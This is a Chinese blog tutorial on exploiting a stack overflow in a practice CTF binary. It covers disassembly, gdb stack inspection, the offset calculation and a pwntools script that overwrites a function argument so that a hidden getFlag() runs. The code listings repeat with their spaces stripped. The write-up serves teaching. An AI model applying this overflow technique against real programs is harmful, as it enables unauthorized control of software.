python 堆栈溢出_PWN简单堆栈溢出漏洞利用(一) | kTWO-个人博客

本文详细介绍PWN二进制漏洞中的堆栈利用技术。通过分析一个简单的程序,讲解如何利用堆栈溢出技巧,修改特定变量值,进而执行目标函数获取隐藏的flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

摘要

本文将详细讲述PWN二进制漏洞中简单的堆栈利用,本文将从原理开始讲述,然后层层深入,让读者从理解到动手操作,能够跟着教程完成所有操作。

0x01 环境和程序准备

安装有pwntools的kali Linux,安装教程可参考上一篇文章。

gdb-peda工具,这个是gdb的插件这个可以百度一下安装和使用教程。

IDA反汇编工具,可自行百度下载和学习使用方法,本文只做简单介绍。

一个Linxu X86的含有漏洞的小程序pwn0,可在本文末尾下载链接处下载。

请在“/home/pwn/pwn0/"目录下建立flag文件,内容为flag{this_is_flag},此文件将是我们要利用pwn0读取的文件。

0x02 运行程序并反汇编分析

首先我们运行我们的程序,发现其就是一个简单的输入,然后输出的小程序,如下图:

我们把程序拉到IDA里面分析一下,发现函数foo(),getFlag(),在函数处按F5,将显示对应的C语言程序,如下:

main函数

从main函数中可以看到并没有什么,只是简单的输出一句话,然后调用了一下foo函数,但是这里给foo函数船了实参值为0x123456,这个后面我们用得到。下面我们看一下foo函数的结构:

foo函数

foo函数有一个参数a1,然后函数体内定义了两个变量,分别是result和s,从IDA分析看,result是一个寄存器变量,不占用内存。然后这个函数接收了我们的输入,然后进行显示,重要的是里面的if判断恒为false。所以这个getFlag()函数就是我们要解决的问题。

getFlag函数

我们发现main函数没有什么问题,主要函数在foo函数,getFlag函数便是我们要执行的函数,但是从现在的逻辑看,似乎这个getFlag()函数是不可能被执行的,因为a1的值为0x123456,但是if里面的判断却要求a1的值为0x61616161(转换为16进制查看),所以这个if是恒为false的。

分析一下流程发现,在foo函数里面声明的char s,但是使用了gets(&s),让我们为s赋值。gets()函数是不会检查你输入的字符串长度的,所以此处会有一个溢出漏洞,大部分简单的溢出漏洞都出现在让我们输入的地方。

foo函数中的第四行代码简单说一下:

C

char s; // [sp+Ch] [bp-1Ch]@1

1

chars;// [sp+Ch] [bp-1Ch]@1

IDA以及为我们分析出来了,这个s变量在内存中的位置距离栈顶有+Ch个字节,距离栈底有-1Ch个字节。注意这里的sp就是esp,bp就是ebp的意思,不明白的可看前面的函数栈分析文章。

分析到这里,我们简单画一下这个foo函数的栈结构图:

这里说一下啊reault变量是eax变量,没有往内存里面存,从IDA的标注可以看出来。有一个知识点也要注意一下,栈里面的数据在写的时候是从低地址往高地址写的,什么意思呢?就是从s开始写数据,一旦s的1字节被写满,就会继续往高地址的地方延申。

分析函数栈可知,我们的变量s只要内容够长,就可以不断的往下延申,最终覆盖掉EBP、EIP甚至a1,所以这里我们便有了利用思路,因为我们的而判断是判断a1和常量0x61616161是否相等,如果我们将s延申,覆盖掉a1,让a1的值恰好等于0x61616161那么if判断不就可以成立,然后执行getFlag()函数拿到flag。下面开始写Payload。

0x03 调试并分析Payload

我们先看一下foo函数的汇编代码:

Dump of assembler code for function foo:

0x0804859f : push ebp

0x080485a0 : mov ebp,esp

0x080485a2 : sub esp,0x28

0x080485a5 : sub esp,0xc

0x080485a8 : lea eax,[ebp-0x1c]

0x080485ab : push eax

0x080485ac : call 0x8048400

0x080485b1 : add esp,0x10

0x080485b4 : sub esp,0xc

0x080485b7 : lea eax,[ebp-0x1c]

0x080485ba : push eax

0x080485bb : call 0x8048420

0x080485c0 : add esp,0x10

0x080485c3 : cmp DWORD PTR [ebp+0x8],0x61616161

0x080485ca : jne 0x80485d1

0x080485cc : call 0x804855b

0x080485d1 : nop

0x080485d2 : leave

0x080485d3 : ret

End of assembler dump.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

Dumpofassemblercodeforfunctionfoo:

0x0804859f:pushebp

0x080485a0:movebp,esp

0x080485a2:subesp,0x28

0x080485a5:subesp,0xc

0x080485a8:leaeax,[ebp-0x1c]

0x080485ab:pusheax

0x080485ac:call0x8048400

0x080485b1:addesp,0x10

0x080485b4:subesp,0xc

0x080485b7:leaeax,[ebp-0x1c]

0x080485ba:pusheax

0x080485bb:call0x8048420

0x080485c0:addesp,0x10

0x080485c3:cmpDWORDPTR[ebp+0x8],0x61616161

0x080485ca:jne0x80485d1

0x080485cc:call0x804855b

0x080485d1:nop

0x080485d2:leave

0x080485d3:ret

Endofassemblerdump.

我们在0x080485ab出下断点,可以看到变量s的地址就是eax的值,如下图:

此时eax的值为0xbffff1ac,EBP的值为0xbffff1c8正好相差0x1C,然后我们看下栈里面的情况:

我们发现我们的分析是正确的,a1在EIP下面,s和EBP相差0x1C,那么我们来计算一下s到a1的距离一共是:0x1C + 0x4(EBP) + 0x4(EIP) = 0x24 = 36 ,距离大概就是这样,那么我们测试一下,如果输入36个A和4个B会发生什么,输入完成后查看堆栈:

我们发现原来0xbffff1d0地址中存储的0x1231456被我们的BBBB给覆盖掉了。所以我们只需要将BBBB改为0x61616161就可以使if成立,但是这里要注意,我们输入的使字符串,和数字使不同的,我们需要将数字转化为字符串然后进行输入,这里我们使用Python中pwntools进行输入和输出。

到此位置我们可以编写Payload进行溢出利用了,下面开始编写脚本。

0x04 编写Payload利用脚本

基本的脚本利用如下:

pwn0Crack.py

Python

#-*- coding: utf-8 -*-

from pwn import *

#载入程序

pwn = process('./pwn0')

#读取一行程序的输出并显示

print pwn.recvline()

#构造payload

payload = 'A' * 0x1C + 'A' * 0x4 + 'A' * 0x4

#p32封包,将值转换为字符

payload += p32(0x61616161)

#向程序输入一行数据

pwn.sendline(payload)

#打印一行输出

print pwn.recvline()

#打印出flag

print pwn.recvline()

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

#-*- coding: utf-8 -*-

frompwnimport*

#载入程序

pwn=process('./pwn0')

#读取一行程序的输出并显示

printpwn.recvline()

#构造payload

payload='A'*0x1C+'A'*0x4+'A'*0x4

#p32封包,将值转换为字符

payload+=p32(0x61616161)

#向程序输入一行数据

pwn.sendline(payload)

#打印一行输出

printpwn.recvline()

#打印出flag

printpwn.recvline()

看程序运行结果如下:

可以看到我们的getFlag函数以及成功运行,并且读取到了flag文件

0x05 补充

本文的程序比较简单,但是理解溢出漏洞练手的好程序,并且这个程序不止这个个利用方式,还有令该一个方式就是直接覆盖EIP然后跳转到getFlag()函数,下篇文章我们将讲述这种做法。

本文程序下载(密码akcz):

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值